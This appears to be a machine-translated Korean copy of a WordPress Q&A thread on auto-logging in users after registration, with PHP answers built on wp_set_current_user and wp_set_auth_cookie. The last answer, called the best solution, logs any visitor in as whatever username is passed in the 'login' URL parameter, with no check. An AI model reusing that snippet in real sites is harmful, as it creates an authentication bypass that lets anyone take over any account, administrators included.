2013-04-24 2 views
1

등록 후 자동 로그인을 시도하고 있습니다.등록 후 자동 로그인 사용자 Wordpress

나는이 (functions.php를) 노력하고 있어요 :

add_action('user_register', 'auto_login_user'); 
    function auto_login_user($user_id) { 
     $user = new WP_User($user_id); 
     $user_login_var = $user->user_login; 
     $user_email_var = stripslashes($user->user_email); 
     $user_pass_var = $user->user_pass; 
     $creds = array(); 
     $creds['user_login'] = $user_login_var; 
     $creds['user_password'] = $user_pass_var; 
     $creds['remember'] = true; 
     $user = wp_signon($creds, false); 
     if (is_wp_error($user)) 
     echo $user->get_error_message(); 

} 

내가 ERROR을 얻고있다 : 당신은 사용자 이름 "TheNewUserCreated"를 입력 한 암호가 올바르지 않습니다. 비밀번호를 잊어 버렸습니까?

어떻게 사용자 개체에서 암호를 가져올 수 있습니까? 또한

이 내가 $ _POST로 받아 해당 파일에서 함수를 실행하지만 난 그런 식으로 너무 ...

EDIT 어떤 성공을 didnt가 시도 registration.php 템플릿에서 사용자 지정 등록 과정이기 때문이다 : 좋아요. 암호화 된 암호를 얻고 있습니다. 그래서 해결책은 무엇입니까? 어떻게하면 자동 로그인 할 수 있습니까? 어쩌면 registration.php 페이지에서이 작업을 수행 할 수 있습니까?

+0

자세한 블로그 : http://sforsuresh.in/auto-login-wordpress/ –

답변

1

wp_insert_user();을 사용하여 사용자를 등록하고 자동 로그인하는 경우 간단합니다. 이 함수는 성공한 경우 사용자 ID를 반환하므로이를 사용하여 해당 사용자에 로그인하십시오. 하지만

$id = wp_insert_user($data); 
//so if the return is not an wp error object then continue with login 
if(!is_wp_error($id)){ 
    wp_set_current_user($id); // set the current wp user 
    wp_set_auth_cookie($id); // start the cookie for the current registered user 
} 

은 당신이 이렇게 될 수있는 이미 무엇을 다음과 같이하십시오

add_action('user_register', 'auto_login_user'); 
function auto_login_user($user_id) { 
    wp_set_current_user($user_id); // set the current wp user 
    wp_set_auth_cookie($user_id); // start the cookie for the current registered user 
} 
//this code is a bit tricky, if you are admin and you want to create a user then your admin session will be replaced with the new user you created :) 
1
Add below function to "functions.php" 

function auto_login_new_user($user_id) { 
     wp_set_current_user($user_id); 
     wp_set_auth_cookie($user_id); 
      // You can change home_url() to the specific URL,such as 
     //wp_redirect('http://www.wpcoke.com'); 
     wp_redirect(home_url()); 
     exit; 
    } 
    add_action('user_register', 'auto_login_new_user'); 
0
function auto_login() { 
      $getuserdata=get_user_by('login',$_GET['login']); 
      $tuserid=$getuserdata->ID; 
      $user_id = $tuserid; 
      $user = get_user_by('id', $user_id); 
      if($user) { 
       wp_set_current_user($user_id, $user->user_login); 
       wp_set_auth_cookie($user_id); 
       do_action('wp_login', $user->user_login); 

      } 
     } 
     add_action('init', 'auto_login'); 

내가 당신과 같은 문제가 있었다이 최선의 해결책을 발견했다. 당신의 functions.php 파일에서 이것을 시도하십시오. 한 가지 더 function.php 파일의 함수에서 재설정 양식을 제출하는 데 사용